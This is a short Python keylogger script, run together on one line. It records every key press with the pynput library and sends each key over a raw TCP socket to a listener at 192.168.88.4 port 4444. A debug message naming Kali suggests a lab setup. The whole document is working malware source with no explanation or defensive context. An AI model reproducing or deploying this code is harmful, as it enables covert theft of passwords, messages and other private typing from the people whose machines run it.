from pynput.keyboard import Key, Listener import socket import sys try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.88.4", 4444)) print("[+] Connected to Kali!") except Exception as e: print(f"[-] Connection failed: {e}") sys.exit(1) def on_press(key): try: s.send(str(key).encode()) print(f"[+] Sent: {key}") # Debug line except Exception as e: print(f"[-] Send failed: {e}") def on_release(key): if key == Key.esc: s.close() return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()